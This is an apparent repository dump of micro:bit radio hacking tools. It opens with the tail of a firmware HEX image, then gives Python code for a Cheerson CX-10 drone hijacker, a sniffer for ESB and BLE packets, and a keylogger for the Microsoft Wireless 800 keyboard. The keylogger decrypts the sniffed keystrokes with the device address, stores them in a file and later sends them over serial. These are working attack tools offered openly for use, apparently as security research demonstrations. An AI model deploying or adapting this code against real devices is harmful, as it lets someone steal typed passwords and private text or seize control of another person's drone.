:107AB0003A34000D03633A31000E03633A32000F8B :107AC00003633A33000803633A34000403633A382B :107AD00000C1016400C202642300FF056423353A3B :107AE00032000A0464233A32000B0464233A330060 :107AF000D202643300D5026434001E0464343A3187 :107B000000D4026435001F0464353A31001C04645B :107B1000353A32000A03643A31000903643A32000C :107B20000803643A33000F03643A34000E03643AE6 :107B300035000D03643A36000303643A3800C0018F :107B40006500BA0465333A3300F4026534003F043B :107B500065343A3100F5026535003F0465363A3345 :107B6000000B03653A31000803653A3200090365EA :107B70003A33000E03653A34000F03653A35000CC2 :107B800003653A36000203653A3800E00465623A5C :107B90003800C30166000102662300350366233501 :107BA00000FD056623353A32004B0466233A310066 :107BB000480466233A3200420466233A3800110230 :107BC0006632000803663A31000B03663A32000A57 :107BD00003663A33000D03663A34000103663A380F :107BE00000C20167002102672300EA0467233A31DB :107BF00000E80467233A3300FA0467333A31003669 :107C0000026734007D0467343A31007E0467343AF9 :107C100032003702673500FC0467353A310009034A :107C2000673A31000A03673A32000B03673A3300C0 :107C30000103673A3800D7017200CB0472343A323C :107C4000001C03723A31001F03723A32001E0372A5 :107C50003A3300320C4D6963726F42697455415278 :107C60005400770475617274001F04696E697400B2 :107C7000F508626175647261746500490462697433 :107C800073004206706172697479009D0473746FA9 :107C90007000410470696E73008902747800CF022D :107CA0007278001303616E79007607726561646112 :107CB0006C6C00F908726561646C696E65004B0854 :107CC00072656164696E746F006A034F444400DD3D :107CD000044556454E004A0B4D6963726F42697404 :107CE00053504900CF037370690026046D6F6465BB :107CF00000720473636C6B001D046D6F7369009DEB :107D0000046D69736F00890E77726974655F7265BF :107D10006164696E746F0069086E656F706978657B :107D20006C0069084E656F506978656C007C05636E :107D30006C65617200BE0672616E646F6D00660BE9 :107D400067657472616E646269747300920473652E :107D5000656400A30972616E6472616E676500AF4D :107D60000772616E64696E74002E0663686F6963E2 :107D700065000107756E69666F726D005305617568 :107D800064696F00AE0A417564696F4672616D6522 :107D900000270A72657475726E5F70696E00B806AE :107DA000736F75726365005608636F707966726FE2 :107DB0006D00A2046E616D650079026F7300B705F6 :107DC000756E616D65000B0B6D6963726F70797410 :107DD000686F6E009B077379736E616D6500620852 :107DE0006E6F64656E616D6500EC0772656C656150 :107DF000736500BF0776657273696F6E001A07427C :107E000079746573494F001E0654657874494F00B4 :107E1000F7087772697461626C650098076C697322 :107E2000746469720060076D616368696E65002043 :107E30000473697A6500040A69735F706C6179691B :107E40006E67006D0673706565636800AE037361ED :107E50007900940970726F6E6F756E636500B60479 :107E600073696E670031067468726F6174006E0525 :107E70006D6F757468006205737065656400D40584 :107E800064656275670043097472616E736C617436 :107E90006500D405726164696F004F06636F6E669A :107EA000696700BF0A73656E645F62797465730009 :107EB000880D726563656976655F627974657300C4 :107EC000B90473656E64004E077265636569766513 :107ED000006B12726563656976655F6279746573BC :107EE0005F696E746F00020C726563656976655F29 :107EF00066756C6C0059066C656E67746800940555 :107F000071756575650026076368616E6E656C0046 :107F1000DA05706F77657200A809646174615F7239 :107F20006174650073076164647265737300BA05F8 :107F300067726F7570007B0C524154455F3235306B :107F40004B42495400DB0A524154455F314D42498E :107F50005400580A524154455F324D424954002D55 :107F60000F41726974686D657469634572726F72EE :107F700000970E417373657274696F6E4572726F0C :107F80007200210E41747472696275746545727273 :107F90006F7200070D42617365457863657074699F :107FA0006F6E009108454F464572726F7200F0087F :107FB000456C6C697073697300F20945786365708C :107FC00074696F6E00160D47656E657261746F722D :107FD0004578697400200B496D706F727445727238 :107FE0006F72005C10496E64656E746174696F6EC7 :107FF0004572726F7200830A496E646578457272C9 :108000006F7200EA084B65794572726F7200AF11AA :108010004B6579626F617264496E746572727570D6 :108020007400FF0B4C6F6F6B75704572726F72004E :10803000DC0B4D656D6F72794572726F7200BA0913 :108040004E616D654572726F720017084E6F6E65F6 :108050005479706500C6134E6F74496D706C656D10 :10806000656E7465644572726F7200A1074F534567 :1080700072726F7200F00B4F7264657265644469CE :10808000637400810D4F766572666C6F774572720E :108090006F7200610C52756E74696D654572726F16 :1080A0007200EA0D53746F70497465726174696F80 :1080B0006E00940B53796E7461784572726F720022 :1080C000200A53797374656D4578697400250954E5 :1080D0007970654572726F7200220C556E69636F1C :1080E00064654572726F7200960A56616C756545DB :1080F00072726F7200B6115A65726F446976697355 :10810000696F6E4572726F7200C4075F5F6164646D :108110005F5F002B085F5F626F6F6C5F5F00420FF5 :108120005F5F6275696C645F636C6173735F5F004E :10813000A7085F5F63616C6C5F5F002B095F5F6323 :108140006C6173735F5F00C60C5F5F636F6E746119 :10815000696E735F5F00FD0B5F5F64656C697465DA :108160006D5F5F006D095F5F656E7465725F5F00D4 :1081700071065F5F65715F5F0045085F5F657869E5 :10818000745F5F00A7065F5F67655F5F00400B5F1E :108190005F676574617474725F5F00260B5F5F6771 :1081A00065746974656D5F5F00B6065F5F67745FD5 :1081B0005F00F7085F5F686173685F5F00380A5FA0 :1081C0005F696D706F72745F5F005F085F5F696EFB :1081D00069745F5F00CF085F5F697465725F5F00FD :1081E000CC065F5F6C655F5F00E2075F5F6C656E8A :1081F0005F5F005D065F5F6C745F5F008E085F5FAE :108200006D61696E5F5F00FF0A5F5F6D6F64756C23 :10821000655F5F00E2085F5F6E616D655F5F0079BB :10822000075F5F6E65775F5F0002085F5F6E65786E :10823000745F5F00C8085F5F706174685F5F006BA8 :108240000C5F5F7175616C6E616D655F5F00010E43 :108250005F5F7265706C5F7072696E745F5F001053 :10826000085F5F726570725F5F00610C5F5F7265CF :108270007665727365645F5F00320B5F5F73657470 :108280006974656D5F5F00D0075F5F7374725F5FD5 :108290000021075F5F7375625F5F004F0D5F5F7462 :1082A000726163656261636B5F5F00950361627316 :1082B000001B0461636F7300440361646400A805DC :1082C000616C69676E004403616C6C009104616EBF :1082D000645F006B06617070656E6400C204617259 :1082E0006773007C05617272617900500461736983 :1082F0006E00430961736D5F7468756D620065039C :10830000617372001F046174616E00CD0561746158 :108310006E3200E00362696E00CB02626C00EB0417 :10832000626F6F6C00970C626F756E645F6D657441 :10833000686F6400F7086275696C74696E7300DFBA :1083400002627800760962797465617272617900FF :10835000220862797465636F6465006109627974EB :10836000656F72646572005C056279746573004DB7 :108370000863616C6373697A65000D0863616C6CF6 :1083800061626C650006046365696C00DC03636808 :108390007200B40B636C6173736D6574686F640015 :1083A0003305636C6F7365007407636C6F7375726C :1083B00065005003636C7A003B03636D70009B079C :1083C000636F6C6C65637400C005636F6E737400DB :1083D0003308636F70797369676E007A03636F7334 :1083E00000A605636F756E7400E8056370736964B9 :1083F00000E90563707369650015046461746100C8 :10840000CE0764656661756C740002076465677207 :10841000656573003F0464696374002D09646963D2 :10842000745F7669657700720A646966666572656D :108430006E6365009C11646966666572656E63654E :108440005F75706461746500FA0364697200910776 :1084500064697361626C6500040B64697361626CCA :10846000655F697271000F0764697363617264000C :10847000B8066469766D6F64000406656E61626CAF :108480006500910A656E61626C655F697271000AD0 :1084900003656E64001B08656E6473776974680019 :1084A0007109656E756D6572617465009B04657612 :1084B000616C001E046578656300850465786974E5 :1084C00000C803657870006306657874656E6400A3 :1084D00093046661627300250666696C74657200B8 :1084E000010466696E64003505666C6F6174007D19 :1084F00005666C6F6F7200E504666D6F640026069A :10850000666F726D6174001C056672657870003567 :108510000A66726F6D5F6279746573003708667200 :108520006F6D6B65797300ED0966726F7A656E73B6 :10853000657400270866756E6374696F6E0061026A :10854000676300960967656E657261746F720033C8 :108550000367657400C00767657461747472009D79 :1085600007676C6F62616C73008C0768617361747C :10857000747200B7046861736800AD096865617062 :108580005F6C6F636B00560B686561705F756E6C36 :108590006F636B00700368657800280269640017D8 :1085A0000E696D706C656D656E746174696F6E00D7 :1085B0007B05696E646578001206696E7365727476 :1085C000001603696E7400280C696E746572736519 :1085D0006374696F6E000613696E74657273656308 :1085E00074696F6E5F75706461746500EB07697321 :1085F000616C70686100A8076973646967697400D9 :10860000F70A69736469736A6F696E74009A09691D :1086100073656E61626C656400A608697366696E55 :10862000697465003E056973696E6600B60A697310 :10863000696E7374616E636500FC0769736C6F77B4 :108640006572009E0569736E616E005B07697373E6 :108650007061636500B50A6973737562636C6173F9 :108660007300B908697373756273657400FC0A69F5 :1086700073737570657273657400DD076973757067 :1086800070657200E3056974656D73008F04697429 :1086900065720047086974657261746F7200A7049F :1086A0006A6F696E00F6086B62645F696E747200CF :1086B00032036B65790001046B6579730043056CC7 :1086C0006162656C0040056C64657870005F036CE6 :1086D0006472005D046C64726200E2056C64726531 :1086E000780057046C6472680062036C656E002742 :1086F000046C6973740089066C6974746C65003B62 :10870000066C6F63616C730021036C6F6700C605B4 :108710006C6F77657200B6036C736C00A8036C73A2 :108720007200E5066C737472697000B9036D617054 :108730000035046D61746800B1036D617800200339 :108740006D656D0007056D656D31360041056D6520 :108750006D33320018046D656D380052096D656D1A :108760005F616C6C6F6300CB086D656D5F667265F1 :108770006500D1086D656D5F696E666F00AF036D52 :10878000696E0025046D6F646600BF066D6F6475C9 :108790006C6500EC076D6F64756C657300F1036DBB :1087A0006F760065046D6F76740066046D6F767782 :1087B0000052056D6F7677740089036D7273001E29 :1087C0000A6E616D65647475706C650042046E6557 :1087D000787400B4036E6F700090066F626A656310 :1087E0007400FD036F637400D1046F70656E0087C1 :1087F000096F70745F6C6576656C001C036F726442 :1088000000BC047061636B001F097061636B5F697A :108810006E746F001C027069003A08706C617466B7 :108820006F726D002A03706F7000BF07706F706900 :1088300074656D002D03706F770054057072696E5A :1088400074001C0F7072696E745F65786365707474 :10885000696F6E00BB047075736800B00971737442 :10886000725F696E666F00870772616469616E731B :10887000001A0572616E676500E80472626974002F :108880005F10726561645F6C696768745F6C6576C0 :10889000656C00630672656D6F76650049077265E9 :1088A000706C61636500D004726570720025077298 :1088B00065766572736500A1087265766572736589 :1088C0006400D2057266696E6400E90672696E64BE :1088D000657800E705726F756E6400A506727370A7 :1088E0006C6974003B06727374726970001A0473C9 :1088F00063616E00CD047364697600230373657051 :1089000000270373657400D407736574617474720F :10891000006C0A73657464656661756C7400B103FC :1089200073696E000B08736C6565705F6D7300137F :1089300008736C6565705F757300BF04736F727444 :10894000005E06736F7274656400B70573706C69BE :108950007400210473717274009709737461636BFE :108960005F75736500740A737461727473776974E8 :108970006800620C7374617469636D6574686F6418 :1089800000570473746570005003737472003204EE :108990007374726200AD0573747265780038047385 :1089A000747268002905737472697000210373750D :1089B00062002E0373756D00C405737570657200D7 :1089C000CE1473796D6D65747269635F64696666F0 :1089D0006572656E636500601B73796D6D65747299 :1089E00069635F646966666572656E63655F75700D :1089F0006461746500BC0373797300FE0374616E77 :108A000000F2097468726573686F6C6400B3057472 :108A100068726F77009D097469636B735F6164644A :108A200000B10A7469636B735F646966660042082B :108A30007469636B735F6D73005A087469636B7359 :108A40005F757300F00474696D6500890D74696D5C :108A5000655F70756C73655F757300D808746F5FC0 :108A60006279746573005B057472756E6300FD0551 :108A70007475706C65009D047479706500150C75D3 :108A8000636F6C6C656374696F6E73008B047564DF :108A9000697600E30475696E7400F605756E696F9A :108AA0006E000409756E697175655F69640007067B :108AB000756E7061636B000E0B756E7061636B5F3A :108AC00066726F6D00B40675706461746500270589 :108AD0007570706572004707757374727563740002 :108AE000E5057574696D65004E0576616C75650008 :108AF0007D0676616C756573006E0C7665727369C0 :108B00006F6E5F696E666F009D0377666900E603AE :108B10007A6970001703637263004F08736E6966A9 :108B2000665F6F6E00E103726177007103657362C7 :108B300000F402736200FE026378004E03626C650B :108B400000D106626C655F6C6C00550470696E67DD :108B500000D105736E69666600312E302E31006DCE :108B60006963726F3A6269742076312E302E312B30 :108B7000306363633763312D6469727479206F6E7B :108B800020323031392D30392D30343B204D69635E :108B9000726F507974686F6E2076312E392E322DB7 :108BA00033342D67643634313534633733206F6E98 :108BB00020323031372D30392D3031006D696372FC :108BC0006F3A6269742077697468206E5246353155 :108BD00038323200202020202020202000080808E1 :108BE0000808080808006368722829206172672055 :108BF0006E6F7420696E2072616E676528307831FF :108C00003130303030290061726720697320616E25 :108C100020656D7074792073657175656E6365008C :108C20006F726428292065787065637465642061BB :108C3000206368617261637465722C2062757420B0 :108C4000737472696E67206F66206C656E677468F6 :108C500020256420666F756E6400332D6172672075 :108C6000706F772829206E6F7420737570706F7223 :108C7000746564006D75737420757365206B657918 :108C8000776F726420617267756D656E7420666FB0 :108C900072206B65792066756E6374696F6E00284B :108CA000295B5D7B7D2C3A3B407E3C653D633C65AA :108CB0003D3E653D633E653D2A653D632A653D2B2E :108CC000653D2D653D653E26653D7C653D2F653DD9 :108CD000632F653D25653D5E653D3D653D212E006B :108CE000756E69636F6465206E616D652065736381 :108CF00061706573005F5F64656275675F5F0061E7 :108D00006E640061730061737365727400627265F2 :108D1000616B00636F6E74696E75650064656C00ED :108D2000656C696600656C73650065786365707471 :108D30000066696E616C6C79006C616D62646100E3 :108D40006E6F740072657475726E007969656C641B :108D50000042434445464748494B4C3D363E375810 :108D6000383F3957315032592F4E304F5A3A543BD1 :108D7000553351345235533C564D400000040202E5 :108D800004020000020404040002020004040301BF :108D900000000103030300010102030304020101B7 :108DA00003010403010003000004010102000003A9 :108DB000021B1B000E11000000000008080800083C :108DC0000A4A4000000A5FEA5FEA0ED92ED36E1904 :108DD000324489330C924C924D08080000000488FC :108DE0000808040804848488000A448A4000048E29 :108DF000C480000000048800000EC00000000008CD :108E00000001224488100C9252524C048C84848EAF :108E10001C824C901E1EC244924C06CA525FE21F36 :108E2000F01EC13E02448ED12E1FE24488100ED1A6 :108E30002ED12E0ED12EC488000800080000048018 :108E400004880244880482000EC00EC008048244D4 :108E5000880ED126C0040ED135B36C0C925ED2526E :108E60001C925C925C0ED010100E1C9252525C1E32 :108E7000D01C901E1ED01C90100ED013712E1252BA :108E80005ED2521C8808081C1FE242524C125498B1 :108E90001492101010101E113B75B131113935B3F9 :108EA000710C9252524C1C925C90100C92524C8657 :108EB0001C925C92510ED00C825C1FE4848484125C :108EC0005252524C1131312A44113135BB71125278 :108ED0004C9252112A4484841EC488101E0EC80865 :108EE000080E10080482410EC242424E048A40001D :108EF00000000000001F0804800000000ED2524F46 :108F000010101C925C000ED0100E02424ED24E0C7D :108F1000925C900E06C81C88080ED24EC24C1010EF :108F20001C92520800080808024002424C10149893 :108F300014920808080806001B75B131001C9252F3 :108F400052000C92524C001C925C90000ED24EC209 :108F5000000ED010100006C8049808080EC80700BC :108F60001252524F0011312A4400113135BB001208 :108F70004C8C9200112A4498001EC4881E06C48C92 :108F80008486080808080818080C881800000C8354 :108F900060302C3235352C302C3235352C300A30BF :108FA0002C3235352C302C3235352C300A302C30E3 :108FB0002C302C302C300A3235352C302C302C30E3 :108FC0002C3235350A302C3235352C3235352C32B1 :108FD00035352C300A0054494C5420544F20464912 :108FE0004C4C2053435245454E2000636F6D7061D9 :108FF000737343616C000000010002000300040071 :109000000001010102010301040100020102020248 :109010000302040200030103020303030403000428 :1090200001040204030404044E6F20617661696C3C :1090300061626C652049324300000204064F6E6C89 :1090400079203862697473205350492073757070A9 :109050006F727465640053504920666F726D61745D :10906000206572726F72004E6F20617661696C616B :10907000626C65205350490070696E6D6170206E9E :109080006F7420666F756E6420666F7220706572F3 :109090006970686572616C00232D302B2000686C4C :1090A0004C0065666745464700303132333435360B :1090B0003738394142434445460030313233343544 :1090C000363738396162636465660000000000006D :1090D0003870FC7F010000000000000048AB020077 :1090E000000000000000000000000000A8B2020024 :1090F000710F03002A3C0300E80300000CC40200C7 :10910000000000000000000000000000000000005F :10911000000000000000000000000100000000004E :10912000000000000000000000000000000000003F :10913000000000008570020085700200857002004A :10914000B68D03007000002000000000CCFE02007D :10915000ECFE0200ACFE0200000000000000000077 :1091600000000000000000000000000000000000FF :1091700000000000000000000000000000000000EF :1091800000000000000000000000000000000000DF :1091900000000000000000000000000000000000CF :1091A0000000000000000000204EFFFF0000000053 :1091B0000101010101010101010505050505050583 :1091C00005010101FF000004FF000000E9000000AC :1091D0007D2D0100C9540100B95A0100A56C0100A0 :1091E0007D6E0100CD6E010019940100C1000000E8 :020000041000EA :1010C0007CB0EE17FFFFFFFF0A0000000000E50004 :0C10D000FFFFFFFF5F8B0300000000002B :0400000500019999C4 :00000001FF ================================================ FILE: tools/cheerson-cx10/README.md ================================================ Cheerson CX-10 hijacking firmware ================================= You need to wire your BBC Micro:Bit to a real remote controller as described in the presentation. Make sure to unsolder the original SoC to get it working. Program your BBC Micro:Bit with this python code and enjoy :) Please note this hack may not work on some versions of Cheerson CX-10 (like the green one), but it is mostly due to the default center values of the joysticks used. If you manage to get it working with other CX-10 versions, feel free to make a PR ! ================================================ FILE: tools/cheerson-cx10/cxp0wn.py ================================================ from microbit import * import radio def readhex(n): c = uart.read(2) if c is not None and len(c) == 2: return bytes([int(c,16)]) return None uart.init(baudrate=115200) radio.on() radio.cx() radio.config(channel=2) found = False txid = None aid = None channel = 3 timeout = 24 last=running_time() while not found: now = running_time() if (now - last)>24: channel += 1 if channel > 80: channel = 3 last = now radio.config(channel=channel) pkt = radio.receive() if pkt is not None: if pkt[0]==0x55: # check if current channel matches txid txid = list(pkt[1:5]) channels = [ (txid[0]&0x0f)+0x3, (txid[0]>>4)+0x16, (txid[1]&0x0f)+0x2d, (txid[1]>>4)+0x40 ] if channel in channels: found = True aid = list(pkt[5:9]) channels = [ (txid[0]&0x0f)+0x3, (txid[0]>>4)+0x16, (txid[1]&0x0f)+0x2d, (txid[1]>>4)+0x40 ] asked = False last_asked = running_time() b = b'' p = b'' # reinit radio counter = 0 radio.config(channel=channels[counter]) radio.cx() t = 0x3c9 l = running_time() t,r,e,a = 0,0,0,0 ctl = 0 display.show(Image.HAPPY) # sync pkt = None while pkt is None: pkt = radio.receive() next_at = running_time()+6 while True: now = running_time() if now >= next_at: next_at = next_at + 6 counter = (counter + 1)%4 radio.config(channel=channels[counter]) radio.send(p) ctl = 0 if ctl == 0: t = pin0.read_analog() t = int(2031 * (t/1023)) + 0x386 r = pin4.read_analog() r = int(3000 * (r/1034)) ctl += 1 elif ctl == 1: e = pin10.read_analog() e = int(3000 * (e/1023)) a = pin1.read_analog() a = int(3000 * (a/1023)) p = bytes([0x55] + txid + aid + [a&0xff, a>>8, e&0xff, e>>8, t&0xff, t>>8, r&0xff, r>>8, 0x00, 0x00]) ctl = 2 ================================================ FILE: tools/ubit-sniffer/README.md ================================================ Micro:Bit ESB/SB/BLE/raw sniffer ================================ This tool comes into two parts: * the first one is a middleware you need to put in your Micro:Bit along with the Radiobit firmware * the second is a classic Python2.x (shame on me) CLI you may use to sniff This tool supports different data rates: * 2 MBit/s * 1 MBit/s * 250 Kbit/s * Bluetooth Low Energy specific data_rate Be careful while sniffing Bluetooth Low Energy communications, the provided channel is understood as a BLE channel number ! How to flash your Micro:Bit with the right middleware ----------------------------------------------------- Simply use *uflash*: ``` $ uflash -r precompiled/radiobit.hex tools/ubit-sniffer/middleware/ubit-sniffer-mw.py ``` ================================================ FILE: tools/ubit-sniffer/middleware/ubit-sniffer-mw.py ================================================ """ Micro:bit ESB sniffer optimized Middleware This piece of software sniffs ESB packets and provides an UART interface. """ from microbit import * import radio class Globals: # GLOBALS RATE = radio.RATE_2MBIT CHANNEL = 1 TARGET = None # 0 - scan, 1 - follow MAC, 2 - listen channel MODE = 0 def readhex(n): """ Read n bytes from hex """ o = b'' while len(o) < 2*n: p = uart.read(2*n - len(o)) if p is not None: o += p return h2b(o) def h2b(h): """ Quick convert hex string to bytes """ nb = int(len(h)/2) o = bytearray() for i in range(nb): o.append(int(h[2*i:2*i+2],16)) return o def reset(rate=radio.RATE_2MBIT, raw=0): """ Reset UART & sniffer """ Globals.RATE = rate Globals.MODE = 0 Globals.TARGET = None Globals.CHANNEL = 1 uart.init(baudrate=115200) radio.off() radio.on() radio.config(data_rate=rate, channel=Globals.CHANNEL, raw=raw) radio.sniff_on() radio.config(data_rate=rate, channel=Globals.CHANNEL, raw=raw) radio.sniff_on() def set_channel(channel): """ Set ESB channel (1-100) """ Globals.CHANNEL = channel radio.config(channel = Globals.CHANNEL) def follow_target(target): """ Follow target """ # convert target bytes to address/group values addr = target[0]<<24 addr |= target[1]<<16 addr |= target[2]<<8 addr |= target[3] group = target[4] # config radio radio.config( data_rate=Globals.RATE, address=addr, group=group, channel=Globals.CHANNEL ) radio.esb() # if mode is 2, keep with this mode (no channel loop) if Globals.MODE == 0: Globals.MODE = 1 # main routine reset() timeout = 200 ping_timeout = 1000 last = running_time() while True: # check if we got a command on serial port if uart.any(): # First hex byte => size header = readhex(1) # compute size size = header[0] if size > 0: # read and decode payload = readhex(size) # process command cmd = payload[0] if cmd == 0x72 and size >=3: rate = payload[1] raw = payload[2] # reset cmd reset(raw=raw,rate=rate) uart.write(b'r') elif cmd == 0x63 and size >= 2: # channel is placed in the next byte channel = payload[1] set_channel(channel) uart.write(b'c') elif cmd == 0x66 and size >= 6: # address selection follow_target(payload[1:6]) uart.write(b'f') elif cmd == 0x70: # read packet buffer pkt = radio.receive() if pkt is not None: if Globals.MODE == 0: uart.write(b'p' + chr(len(pkt)+1) + chr(Globals.CHANNEL) + pkt) else: uart.write(b'p' + chr(len(pkt)+1) + chr(Globals.CHANNEL) + pkt) else: uart.write(b'p'+chr(0)) elif cmd == 0x74: found = False for i in range(1,100): radio.config(channel=i) if radio.ping(): uart.write(b't'+chr(i)) found = True break if not found: uart.write(b't'+chr(101)) elif cmd == 0x73: data = bytes(payload[2:]) radio.send_bytes(data) uart.write(b's') elif cmd == 0x6D and size >= 2: mode = payload[1] if mode == 0: reset() elif mode == 1: Globals.MODE = 1 # disable scan else: Globals.MODE = 2 uart.write(b'm') elif cmd == 0x62 and size >= 2: rate = payload[1] if rate>=0 and rate<=2: Globals.RATE = rate uart.write(b'b') # loop on channels if scan mode if Globals.MODE == 0: now = running_time() if (now - last) > timeout: last = now c = Globals.CHANNEL + 1 if c > 100: c = 1 set_channel(c) elif Globals.MODE == 1: now = running_time() if (now - last) > ping_timeout: for i in range(1,100): radio.config(channel=i) if radio.ping(): Globals.CHANNEL = i last = now break ================================================ FILE: tools/ubit-sniffer/ubit-sniffer.py ================================================ """ Python2.x client for the Micro:Bit sniffer firmware. Still some work to do: add a cool display mode for raw packets. """ import serial import argparse from time import sleep, time from struct import pack class TargetError(Exception): """ Bad Target. """ def __init__(self): Exception.__init__(self) class ChannelError(Exception): """ Wrong channel """ def __init__(self): Exception.__init__(self) class ESBSniffer(object): """ EnhancedShockBurst/ShockBurst/BLELL sniffer interface. This class drives the Micro:Bit running our middleware to sniff various types of packets. A *send* method is also provided, allowing you to send specifically crafted packets through the middleware (but expect timing issues). """ def __init__(self, device, timeout=5): """ Initialize our device, default mode and rate. """ self.dev = serial.Serial(device, 115200, timeout=1) self.mode = 0 # 0 - sniff, 1 - follow self.channel = 0 self.rate = 1 self.addr = '0000000000'.decode('hex') def _send(self, buf): """ Send buffer to middleware. """ enc_buf = '%02x'%len(buf) + buf.encode('hex') #print enc_buf self.dev.write(enc_buf) def read(self, size): """ Read size bytes from uart. """ out = '' while len(out) < size: out += self.dev.read(size - len(out)) #print out return out def close(self): self.dev.close() def _ack(self, op): """ Acknowledge op. """ #self.dev.flush() ack = '' while (ack != op): ack = self.read(1) #print 'ack %s (%s)' % (ack,op) def flush(self): self.dev.flush() def reset(self, raw=0, rate=1): self.flush() self._send('r'+chr(rate)+chr(raw)) self._ack('r') self.mode = 0 def set_rate(self, rate): """ Set rate """ self._send('b'+chr(rate)) self._ack('b') self.rate = rate def set_channel(self, channel): """ Set channel """ self._send('c'+chr(channel)) self._ack('c') self.channel = channel def set_address(self, address): """ Set address """ addr = pack('>I', (address >> 8)) group = pack('>B', address&0x00000000FF) self._send('f'+addr+group) self._ack('f') self.mode = 1 self.addr = addr+group def lock_channel(self): """ Set channel lock """ self._send('m\x02') self._ack('m') def ping(self): """ If address has been set, tune the sniffer to the correct channel the device has been found on. """ self._send('t') self._ack('t') channel = ord(self.read(1)) if channel != 101: self.channel = channel return channel else: return None def receive(self): """ Receive packets """ self._send('p') pkt = self.read(1) if pkt=='p': size = self.read(1) if size != '': size = ord(size) if size>0: data = self.read(size) return data else: return None else: return None else: return None def send(self, data): """ Send data """ self._send('s'+chr(len(data))+data) return (self.read(1) == 's') if __name__ == '__main__': parser = argparse.ArgumentParser( description='Micro:bit Enhanced ShockBurst Sniffer' ) parser.add_argument( '--device', '-d', type=str, dest='device', action='store', default='/dev/ttyACM0', help='Serial device to use (/dev/ttyACM0 by default)' ) parser.add_argument( '--target', '-t', dest='target', required=False, help='Target MAC' ) parser.add_argument( '--channel', '-c', dest='channel', type=int, required=False, help='Channel to sniff on' ) parser.add_argument( '--data-rate','-b', dest='rate', type=int, default=1, required=False, help='Set data rate, 0: 1MBit | 1: 2MBit | 2: 250Kbit | 3: BLE LinkLayer' ) parser.add_argument( '--raw', '-r', dest='raw', action='store_true', required=False, help='Sniff raw packets (SB, ESB, BLE LinkLayer)' ) args = parser.parse_args() try: print '\033[1muBit sniffer uses device %s\033[0m' % args.device print '\033[1minitializing device ...\033[0m' sniffer = ESBSniffer(args.device) sniffer.reset(raw=args.raw,rate=args.rate) channel = 1 rates = ['1Mbit', '2Mbit','250Kbit','BLE LL'] print '\033[1mSelecting rate: %s\033[0m' % rates[args.rate] if args.channel is not None: if args.channel >= 0 and args.channel <= 100: sniffer.set_channel(args.channel) sniffer.lock_channel() else: raise ChannelError() if args.target is not None: target = int(args.target, 16) if target<0xffffffffff: sniffer.set_address(target) print '\033[1mStarting following target \033[92m%s\033[0m\033[1m ...\033[0m\033[0m' % hex(target) else: raise TargetError() else: print '\033[1mStarting sniffing ...\033[0m' print '' while True: pkt = sniffer.receive() if pkt is not None: if sniffer.mode == 0: channel = ord(pkt[0]) addr = pkt[1:6] data = pkt[6:] print '\033[92m%03d\033[0m \033[95m%02x%02x%02x%02x%02x >\033[0m\033[0m %s' % ( channel, ord(addr[0]), ord(addr[1]), ord(addr[2]), ord(addr[3]), ord(addr[4]), data.encode('hex') ) else: channel = ord(pkt[0]) print '\033[92m%03d\033[0m \033[95m%02x%02x%02x%02x%02x >\033[0m\033[0m %s' % ( channel, ord(sniffer.addr[0]), ord(sniffer.addr[1]), ord(sniffer.addr[2]), ord(sniffer.addr[3]), ord(sniffer.addr[4]), pkt[1:].encode('hex') ) except ChannelError as error: print('\033[91mWrong channel: %d\033[0m' % args.channel) except TargetError as error: print('\033[91mWrong target: %s\033[0m' % args.target) except KeyboardInterrupt as error: print('\033[1mTerminating sniffing ...\033[0m') sniffer.close() except serial.serialutil.SerialException as error: print('\033[91mDevice not found (%s)\033[0m' % args.device) except Exception, error: print error ================================================ FILE: tools/wireless-keylogger/README.md ================================================ Wireless Keylogger for MS Wireless 800 Keyboard =============================================== Simply program your Micro:Bit with this python program, and you're good to go. Your Micro:Bit will show a little animation while searching for a compatible keyboard, and a smiley when one found. Then it will log everything in its memory. To extract the logged keystrokes, connect your Micro:Bit to your computer with a USB cable, launch *minicom* and press any button on the Micro:Bit. The data will be sent and then flushed. Reset your Micro:Bit and you can give it another run ;) ================================================ FILE: tools/wireless-keylogger/msft-keylogger.py ================================================ from microbit import * import radio import os # Not complete, but enough for the demo =) KEYMAP = [ '', '', '', '', 'Q', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', ',', 'N', 'O', 'P', 'A', 'R', 'S', 'T', 'U', 'V', 'Z', 'X', 'Y', 'W', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '\r\n', '', '', ' ', ' ', '', '', '', '', '', '', 'M', '', '', '', ] keybd = None channel = 1 def progress(v): display.clear() if (v<5): x = v y = 0 elif (v>=5 and v<9): x = 4 y = v-4 elif (v>=9 and v<13): y = 4 x = 13 - v - 1 else: x = 0 y = 16 - v display.set_pixel(x,y,6) # init radio sniffer display.on() radio.on() radio.config(data_rate=radio.RATE_2MBIT, channel=channel) def decrypt(d,k): o=[] for i in range(len(d)): o.append(d[i]^k[i%5]) return o # Find a MS wireless keyboard while True: radio.sniff_on() p = 0 timeout = 100 last = running_time() while keybd is None: # look for a MS wireless keyboard now = running_time() if (now - last) > timeout: last = now channel += 1 if channel > 81: channel = 3 # display progress p += 1 if p>15: p = 0 progress(p) # select channel radio.config(channel=channel) # Process sniffed ESB packets pkt = radio.sniff() if pkt is not None: if len(pkt)>7 and pkt[5] == 0x0A and pkt[6] == 0x78: # keyboard found, keep channel and memorize address keybd = pkt[:5] display.show(Image.HAPPY) sleep(1000) # reconfigure keyboard display.clear() addr = keybd[0]<<24 | keybd[1]<<16 | keybd[2]<<8 | keybd[3] gr = keybd[4] key = [keybd[4], keybd[3], keybd[2], keybd[1], keybd[0]] radio.config(data_rate=radio.RATE_2MBIT, channel=channel, address=addr, group=gr, queue=20) radio.esb() lk = None lp = None last_seq = 0 with open('keys.txt','w') as log: while True: # loop if button A or B is pressed if button_a.is_pressed(): log.close() display.show(Image.YES) while True: if uart.any(): f = open('keys.txt','r') uart.write(f.read()) f.close() os.remove('keys.txt') while True: pass # Process sniffed ESB packets pkt = radio.receive_bytes() if pkt is not None: if len(pkt)>9 and pkt[0] == 0x0A and pkt[1] == 0x78 and (last_seq != ((pkt[5] << 8) + pkt[4])): last_seq = (pkt[5] << 8) + pkt[4] if pkt != lp: # process key: hids = (pkt[9] ^ key[0], pkt[10] ^ key[1], pkt[11] ^ key[2]) if hids[2] != 0: hid = hids[2] elif hids[1] != 0: hid = hids[1] else: hid = hids[0] if hid < len(KEYMAP): log.write(KEYMAP[hid]) lp = pkt